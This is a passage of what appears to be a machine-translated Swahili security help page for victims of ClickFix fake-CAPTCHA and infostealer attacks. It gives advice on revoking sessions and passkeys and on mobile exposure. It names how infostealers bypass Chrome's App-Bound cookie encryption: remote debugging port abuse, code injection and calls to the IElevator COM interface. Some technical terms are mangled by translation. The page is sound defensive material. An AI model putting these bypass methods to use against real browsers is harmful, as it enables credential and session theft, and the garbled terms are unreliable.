Inategemea ni wapi Nenosiri lilihifadhiwa, na muhimu zaidi, kwa hakika iliiba kidakuzi amilifu cha kipindi kilichoundwa baada ya kuingia na Passkey hiyo. Kwanza, ikiwa tayari ulikuwa umeingia kwenye Google/Microsoft katika Chrome/Edge kwenye Kompyuta hiyo, mshambulizi hahitaji Ufunguo wako wa siri kwa sababu aliiba kidakuzi chako cha kipindi kilichoidhinishwa moja kwa moja - kwa hivyo lazima ubofye. Ondoka kwenye vipindi vyote kwenye kifaa safi. Pili, ikiwa Nenosiri lako lilihifadhiwa kwenye Windows Hello (TPM 2.0 chip ya maunzi) au kwenye YubiKey halisi au iPhone, ufunguo wa faragha ulio ndani ya chipu ya maunzi hauwezi kusafirishwa na programu hasidi. Hata hivyo, ikiwa ulihifadhi funguo za siri zilizosawazishwa ndani ya kiendelezi cha kivinjari cha wahusika wengine kilichofunguliwa kwenye Kompyuta hiyo, batilisha funguo hizo za siri katika mipangilio ya usalama ya akaunti yako mara moja.

Je, "Usimbaji Fiche wa Kufunga Programu" wa Google Chrome ukoje (v20 vidakuzi) walioathirika, na hufanya hivyo Lumma Stealer kuikwepa?¶

Kuanzia kwenye Chrome 127+, Google ilianzisha Usimbaji Fiche wa Kufunga Programu kwenye Windows, ambayo hufunga usimbaji fiche wa vidakuzi (`v20` kiambishi awali) kwa huduma iliyoinuliwa ya mfumo wa Windows (`GoogleChromeElevationService`) ili kukomesha programu hasidi ya upendeleo wa chini kutoka kwa kufuta vidakuzi. Walakini, ujenzi wa kisasa wa Lumma Mwizi, KuibaC, na Medusa Epuka kwa bidii Usimbaji Uliofungwa kwa Programu kwa kuingiza msimbo moja kwa moja kwenye mfano usio na kichwa wa chrome.exe, kutumia vibaya bandari ya utatuzi ya mbali ya Chrome (--bandari-ya-utatuzi-ya-mbali), au kuinua marupurupu kupiga simu IElevator Kiolesura cha COM. Usiwahi kudhani Chrome 127+ ililinda vidakuzi vyako vya kipindi ikiwa ulitekeleza upakiaji wa BofyaFix; daima batilisha vikao vyote mara moja.

Amri ya ClickFix inayotekelezwa kwenye iPhone au simu yangu ya Android inaweza kuambukiza simu yangu Win + R programu hasidi?¶

Ikiwa uligusa CAPTCHA bandia kwenye iPhone (`iOS`) au simu ya Android, Windows PowerShell yoyote / mshta.exe amri imenakiliwa kwenye ubao wako wa kunakili wa simu ya mkononi haiwezi kutekeleza kwenye iOS au Android, kwa sababu mifumo ya uendeshaji ya simu haina a Shinda + R Endesha kidadisi, powershell.exe, au mshta.exe. Hata hivyo, baadhi ya kurasa za ClickFix zinazofahamu simu za mkononi hugundua Ajenti wa Mtumiaji wa simu yako na kukuelekeza kusakinisha Android hasidi. .apk faili, Usimamizi mbaya wa Kifaa cha Simu ya iOS (`MDM`) wasifu wa usanidi, au usajili mbaya wa arifa ya PWA/Web Push. Hakikisha kuwa hukusakinisha faili au wasifu wowote uliopakuliwa.

Miongozo inayohusiana¶

• Utekaji nyara wa vidakuzi vya kipindi, programu hasidi ya infostealer, na ubatilishaji wa nenosiri
• Mkoba wa mkoba wa Cryptocurrency na maelewano ya maneno ya mbegu
• Malware, ransomware, na maambukizi ya spyware
• Akaunti ya barua pepe imedukuliwa, sheria za usambazaji na urejeshaji
• Upatanishi wa kifurushi cha npm/PyPI na mzunguko wa ufunguo wa kituo cha kazi cha msanidi programu
• Vitisho bandia vya kingavirusi, barua taka ya arifa, na uondoaji wa ruhusa ya kushinikiza ya kivinjari
• Nambari za dharura kwa nchi

Vyanzo na mwongozo rasmi¶

• Wakala wa Usalama wa Mtandao na Miundombinu (CISA) & Ofisi ya Shirikisho ya Upelelezi (FBI) (Marekani): Ushauri wa Pamoja wa Usalama wa Mtandao (AA24-131A / Infostealer & Lumma Stealer Threat Advisories): Kupunguza Kuishi nje ya Ardhi (LOLBin) na Mashambulizi ya Wizi wa Ishara ya Kikao.
• Taasisi ya Kitaifa ya Viwango na Teknolojia (NIST) (Marekani): Chapisho Maalum la 800-61 Rev. 2: Mwongozo wa Kushughulikia Matukio ya Usalama wa Kompyuta & SP 800-63B: Miongozo ya Utambulisho Dijitali (Udhibiti wa Kipindi na Uthibitishaji Tena).
• Microsoft Threat Intelligence (Microsoft Security): Kuchambua Kampeni za Uhandisi wa Kijamii za ClickFix, Sindano Bandia ya Ubao wa Klipu ya CAPTCHA (RunMRU), na Uwekaji Magogo wa Kizuizi cha Hati ya PowerShell (Event ID 4104).
• Kituo cha Kitaifa cha Usalama wa Mtandao (NCSC) (Uingereza): Kupunguza Mashambulizi Malware na Ransomware & Mwongozo wa Wizi wa Kitambulisho wa Kiwango cha Kifaa.
• Shirika la Umoja wa Ulaya la Usalama Mtandaoni (ENISA): Ripoti ya Mazingira ya Tishio la ENISA: Info-Stealers (Lumma, StealC, RedLine, AMOS) na Hatua za Kukabiliana na Kuki za Kipindi.